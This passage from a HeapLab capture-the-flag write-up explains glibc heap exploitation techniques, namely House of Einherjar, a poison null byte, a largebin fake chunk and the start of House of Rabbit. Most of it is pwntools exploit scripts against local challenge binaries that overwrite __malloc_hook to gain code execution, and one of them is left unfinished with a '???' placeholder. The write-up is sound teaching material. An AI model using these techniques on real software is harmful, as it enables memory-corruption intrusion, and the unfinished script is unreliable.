</span></span><span style="display:flex;"><span> <span style="color:#00d3d0">==</span> <span style="color:#feacd0">chunksize_nomask</span> (victim<span style="color:#00d3d0">-&gt;</span>fd))
</span></span><span style="display:flex;"><span>  victim <span style="color:#00d3d0">=</span> victim<span style="color:#00d3d0">-&gt;</span>fd;</span></span></code></pre></td></tr></table>
</div>
</div>
</details>

<p>So we need to link in another real chunk with size less than or equal to the size of the first real chunk.</p>





  
  
    

  
  
    
    
  

  
  
    





  





<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><a href="#code-snippet--lore-setup">&lt;&lt;lore-setup&gt;&gt;</a>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;Enter your username: &#34;</span>, p64(<span style="color:#00bcff">0</span>) <span style="color:#00d3d0">+</span> p64(<span style="color:#00bcff">0x410</span> <span style="color:#00d3d0">|</span> <span style="color:#00bcff">0b1</span>) <span style="color:#00d3d0">+</span> p64(elf<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>user) <span style="color:#00d3d0">+</span> p64(elf<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>user))
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x410</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># chunk A</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x90</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>)
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x400</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># chunk B</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x90</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>)
</span></span><span style="display:flex;"><span>free(<span style="color:#00bcff">0</span>)
</span></span><span style="display:flex;"><span>free(<span style="color:#00bcff">2</span>)
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x420</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x400 largebin: [chunk A] &lt;=&gt; [chunk B]</span>
</span></span><span style="display:flex;"><span>edit(<span style="color:#00bcff">0</span>, p64(elf<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>user))
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8">#                                 +----v</span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x400 largebin: [chunk A] -&gt; [fake chunk] [chunk B]</span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8">#                     ^-------------------------^</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x410</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>)
</span></span><span style="display:flex;"><span>edit(<span style="color:#00bcff">5</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;A&#34;</span><span style="color:#00d3d0">*</span>(<span style="color:#00bcff">48</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">0x10</span>) <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;pwned</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;4&#34;</span>)
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;target: &#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">print</span>(proc<span style="color:#00d3d0">.</span>recvline())</span></span></code></pre></div>
</details>

<h2 id="house-of-einherjar">House of Einherjar</h2>
<p>This is a single null byte heap overflow; this allows us to zero out the flags (notably <code>PREV_INUSE</code>) of an adjacent chunk on the heap.
Consequently, we can force backwards consolidation with a fake chunk, leading to an overlapping chunk primitive (which can easily be pivoted to a UAF).</p>
<h3 id="solve">Solve</h3>
<p>Here we abuse backwards consolidation to create a fake chunk overlapping the target data.
We can clear the <code>PREV_INUSE</code> bit of the victim chunk and then free it, or alternatively <a href="/writeups/heaplab/#challenge-solve">free it first</a> and then use the null byte overflow to decrease the freed victim chunk&rsquo;s <kbd>size</kbd>.</p>
<p>A cool trick is that instead of using a legitimate <kbd>size</kbd> for the fake chunk (which we can&rsquo;t calculate in this instance because we don&rsquo;t yet know the heap address), we can set it to 8.<sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup>
Computing the chunk following a size 8 chunk results in a chunk whose <kbd>prev_size</kbd> overlaps the size 8 chunk&rsquo;s <kbd>size</kbd>, which passes the safe unlinking checks.</p>





  
  
    

  
  
    









<details open>
  
  <summary>C</summary>
  
  </summary>
  <div class="highlight"><div style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1388
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1389
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1390
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#a8a8a8">#define unlink(AV, P, BK, FD) {                                               \
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">      malloc_printerr (&#34;corrupted size vs. prev_size&#34;);                       \</span></span></span></code></pre></td></tr></table>
</div>
</div>
</details>






  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#b6a0ff">from</span> pwn <span style="color:#b6a0ff">import</span> <span style="color:#00d3d0">*</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>context<span style="color:#00d3d0">.</span>log_level <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#39;warning&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>elf <span style="color:#00d3d0">=</span> context<span style="color:#00d3d0">.</span>binary <span style="color:#00d3d0">=</span> ELF(<span style="color:#79a8ff">&#34;house_of_einherjar&#34;</span>)
</span></span><span style="display:flex;"><span>libc <span style="color:#00d3d0">=</span> ELF(elf<span style="color:#00d3d0">.</span>runpath <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/libc.so.6&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">malloc</span>(size):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;1&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;size: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>size<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>    malloc<span style="color:#00d3d0">.</span>index <span style="color:#00d3d0">+=</span> <span style="color:#00bcff">1</span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> malloc<span style="color:#00d3d0">.</span>index <span style="color:#00d3d0">-</span> <span style="color:#00bcff">1</span>
</span></span><span style="display:flex;"><span>malloc<span style="color:#00d3d0">.</span>index <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">free</span>(index):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;2&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;index: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>index<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">edit</span>(index, data):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;3&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;index: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>index<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;data: &#34;</span>, data)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">free</span>(index):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;2&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;index: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>index<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc <span style="color:#00d3d0">=</span> remote(<span style="color:#79a8ff">&#34;localhost&#34;</span>, <span style="color:#00bcff">1337</span>)
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>timeout <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0.5</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;Enter your username: &#34;</span>, p64(<span style="color:#00bcff">0</span>) <span style="color:#00d3d0">+</span> p64(<span style="color:#00bcff">8</span>) <span style="color:#00d3d0">+</span> p64(elf<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>user) <span style="color:#00d3d0">+</span> p64(elf<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>user) <span style="color:#00d3d0">+</span> p64(<span style="color:#00bcff">0</span>))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;heap @ &#34;</span>)
</span></span><span style="display:flex;"><span>heap <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">int</span>(proc<span style="color:#00d3d0">.</span>recvline(), <span style="color:#00bcff">16</span>)
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>chunk_A <span style="color:#00d3d0">=</span> malloc(<span style="color:#00bcff">0x90</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>)
</span></span><span style="display:flex;"><span>chunk_B <span style="color:#00d3d0">=</span> malloc(<span style="color:#00bcff">0x100</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>)
</span></span><span style="display:flex;"><span>edit(chunk_A, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;A&#34;</span><span style="color:#00d3d0">*</span>(<span style="color:#00bcff">0x90</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">0x10</span>) <span style="color:#00d3d0">+</span> p64((heap<span style="color:#00d3d0">+</span><span style="color:#00bcff">0x90</span>)<span style="color:#00d3d0">-</span>elf<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>user))
</span></span><span style="display:flex;"><span>free(chunk_B)
</span></span><span style="display:flex;"><span>chunk_C <span style="color:#00d3d0">=</span> malloc(<span style="color:#00bcff">0x90</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># serviced from the fake top chunk</span>
</span></span><span style="display:flex;"><span>edit(chunk_C, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;C&#34;</span><span style="color:#00d3d0">*</span>(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;pwned</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;4&#34;</span>)
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;target: &#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">print</span>(proc<span style="color:#00d3d0">.</span>recvline())</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>b&#39;pwned\n&#39;</span></span></code></pre></div>

<h3 id="challenge-solve"><span class="org-todo todo TODO">TODO</span> Challenge solve</h3>
<p>In this variant we don&rsquo;t control the <kbd>prev_size</kbd> field of the victim chunk.</p>
<p>As alluded to earlier, we can decrease the <kbd>size</kbd> of a freed chunk, service an allocation from it (this does not update the <kbd>prev_size</kbd> and <code>PREV_INUSE</code> of the following chunk because we tampered with <kbd>size</kbd>), and then free the adjacent chunk, leading to an active chunk in the middle of a free chunk.
We can then use this to read unsortedbin linked list pointers for a libc and heap leak.</p>
<p>To gain code execution, I initially tried using an unsortedbin attack to clobber <kbd>global_max_fast</kbd> to a very large value in order for large chunks to be qualified for fastbin insertion, and then used this to link a fake <code>0xf0</code> chunk overlapping <kbd>__malloc_hook</kbd> into the fastbin freelist; however, due to poor register and stack control I was unable to meet the constraints of the one_gadgets in libc.</p>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#b6a0ff">from</span> pwn <span style="color:#b6a0ff">import</span> <span style="color:#00d3d0">*</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>context<span style="color:#00d3d0">.</span>log_level <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#39;warning&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>elf <span style="color:#00d3d0">=</span> context<span style="color:#00d3d0">.</span>binary <span style="color:#00d3d0">=</span> ELF(<span style="color:#79a8ff">&#34;poison_null_byte&#34;</span>)
</span></span><span style="display:flex;"><span>libc <span style="color:#00d3d0">=</span> ELF(elf<span style="color:#00d3d0">.</span>runpath <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/libc.so.6&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">calloc</span>(size):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;1&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;size: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>size<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>    calloc<span style="color:#00d3d0">.</span>index <span style="color:#00d3d0">+=</span> <span style="color:#00bcff">1</span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> calloc<span style="color:#00d3d0">.</span>index <span style="color:#00d3d0">-</span> <span style="color:#00bcff">1</span>
</span></span><span style="display:flex;"><span>calloc<span style="color:#00d3d0">.</span>index <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">edit</span>(index, data):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;2&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;index: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>index<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;data: &#34;</span>, data)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">free</span>(index):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;3&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;index: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>index<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">read</span>(index):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;4&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;index: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>index<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    ret <span style="color:#00d3d0">=</span> proc<span style="color:#00d3d0">.</span>recvline()
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> ret
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc <span style="color:#00d3d0">=</span> remote(<span style="color:#79a8ff">&#34;localhost&#34;</span>, <span style="color:#00bcff">1337</span>)
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>timeout <span style="color:#00d3d0">=</span> <span style="color:#00bcff">140</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>chunk_A <span style="color:#00d3d0">=</span> calloc(<span style="color:#00bcff">0x90</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>)
</span></span><span style="display:flex;"><span>chunk_B <span style="color:#00d3d0">=</span> calloc(<span style="color:#00bcff">0x210</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>)
</span></span><span style="display:flex;"><span>chunk_C <span style="color:#00d3d0">=</span> calloc(<span style="color:#00bcff">0x90</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>)
</span></span><span style="display:flex;"><span>calloc(<span style="color:#00bcff">0x90</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># padding</span>
</span></span><span style="display:flex;"><span>free(chunk_B)
</span></span><span style="display:flex;"><span>edit(chunk_A, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;A&#34;</span><span style="color:#00d3d0">*</span>(<span style="color:#00bcff">0x90</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>)) <span style="color:#a8a8a8"># overflow LSB of chunk_B.size to 0x00</span>
</span></span><span style="display:flex;"><span>chunk_E <span style="color:#00d3d0">=</span> calloc(<span style="color:#00bcff">0x100</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>)
</span></span><span style="display:flex;"><span>chunk_F <span style="color:#00d3d0">=</span> calloc(<span style="color:#00bcff">0x100</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>)
</span></span><span style="display:flex;"><span>free(chunk_E)
</span></span><span style="display:flex;"><span>free(chunk_C)
</span></span><span style="display:flex;"><span>chunk_G <span style="color:#00d3d0">=</span> calloc(<span style="color:#00bcff">0x1b0</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>free(chunk_A)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># unsortedbin: [chunk A] -&gt; [chunk E/F]</span>
</span></span><span style="display:flex;"><span>libc<span style="color:#00d3d0">.</span>address <span style="color:#00d3d0">=</span> unpack(read(chunk_F)[<span style="color:#00bcff">0xb0</span>:][:<span style="color:#00bcff">8</span>]) <span style="color:#00d3d0">-</span> (libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>main_arena<span style="color:#00d3d0">+</span><span style="color:#00bcff">0x58</span>)
</span></span><span style="display:flex;"><span>heap <span style="color:#00d3d0">=</span> unpack(read(chunk_F)[<span style="color:#00bcff">0xb0</span><span style="color:#00d3d0">+</span><span style="color:#00bcff">8</span>:][:<span style="color:#00bcff">8</span>])
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>calloc(<span style="color:#00bcff">0x1c0</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># empty unsortedbin</span>
</span></span><span style="display:flex;"><span>chunk_H <span style="color:#00d3d0">=</span> calloc(<span style="color:#00bcff">0xf0</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>)
</span></span><span style="display:flex;"><span>free(chunk_H)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># unsortedbin: [chunk H/F]</span>
</span></span><span style="display:flex;"><span>edit(chunk_F, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;F&#34;</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">0xa8</span> <span style="color:#00d3d0">+</span> p64(<span style="color:#00bcff">0xf1</span>) <span style="color:#00d3d0">+</span> p64(<span style="color:#00bcff">0</span>) <span style="color:#00d3d0">+</span> p64(libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>global_max_fast<span style="color:#00d3d0">-</span><span style="color:#00bcff">0x10</span>))
</span></span><span style="display:flex;"><span>chunk_boop <span style="color:#00d3d0">=</span> calloc(<span style="color:#00bcff">0xf0</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># unsortedbin attack</span>
</span></span><span style="display:flex;"><span>free(chunk_boop)
</span></span><span style="display:flex;"><span>edit(chunk_F, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;F&#34;</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">0xa8</span> <span style="color:#00d3d0">+</span> p64(<span style="color:#00bcff">0xf1</span>) <span style="color:#00d3d0">+</span> p64(libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>__malloc_hook<span style="color:#00d3d0">-</span><span style="color:#00bcff">0x23</span>))
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x100 fastbin: [chunk ??] -&gt; &amp;__malloc_hook-0x23</span>
</span></span><span style="display:flex;"><span>calloc(<span style="color:#00bcff">0xf0</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>)
</span></span><span style="display:flex;"><span>chunk_I <span style="color:#00d3d0">=</span> calloc(<span style="color:#00bcff">0xf0</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x100 fastbin: [chunk I/F]</span>
</span></span><span style="display:flex;"><span>one_gadget <span style="color:#00d3d0">=</span> libc<span style="color:#00d3d0">.</span>address <span style="color:#00d3d0">+</span> ???
</span></span><span style="display:flex;"><span>edit(chunk_I, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">0x13</span> <span style="color:#00d3d0">+</span> p64(one_gadget))
</span></span><span style="display:flex;"><span>calloc(<span style="color:#00bcff">0x80</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># trigger __malloc_hook</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>sendline(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;id&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">print</span>(proc<span style="color:#00d3d0">.</span>recvall(timeout<span style="color:#00d3d0">=</span><span style="color:#00bcff">0.5</span>))</span></span></code></pre></div>
</details>

<p>The intended solve was to use the unsortedbin attack to create fake chunk metadata in front of <kbd>__free_hook</kbd>; while this is a clever idea, this doesn&rsquo;t work under QEMU as the MSB of libc addresses is <code>0xff</code>, not <code>0x7f</code>.</p>
<h2 id="house-of-rabbit">House of Rabbit</h2>
<p>This is a technique that touches on many of the challenges covered thus far where a fake chunk &ldquo;hops&rdquo; between the fastbins, unsortedbin and largebins.</p>
<p>The steps are as follows:</p>
<ol>
<li>Increase <kbd>main_arena.system_mem</kbd> to at least <code>0x80000</code> (minimum size of the largest largebin) by allocating and then freeing a large chunk (to raise <kbd>mp_.mmap_threshold</kbd>), then allocating another large chunk</li>
<li><span class="org-target" id="org-target--step-2"></span> Craft a fake chunk with an attacker-controlled, editable size field (initially set to <code>0x0</code>). Link it into a fastbin (using e.g. fastbin dup)</li>
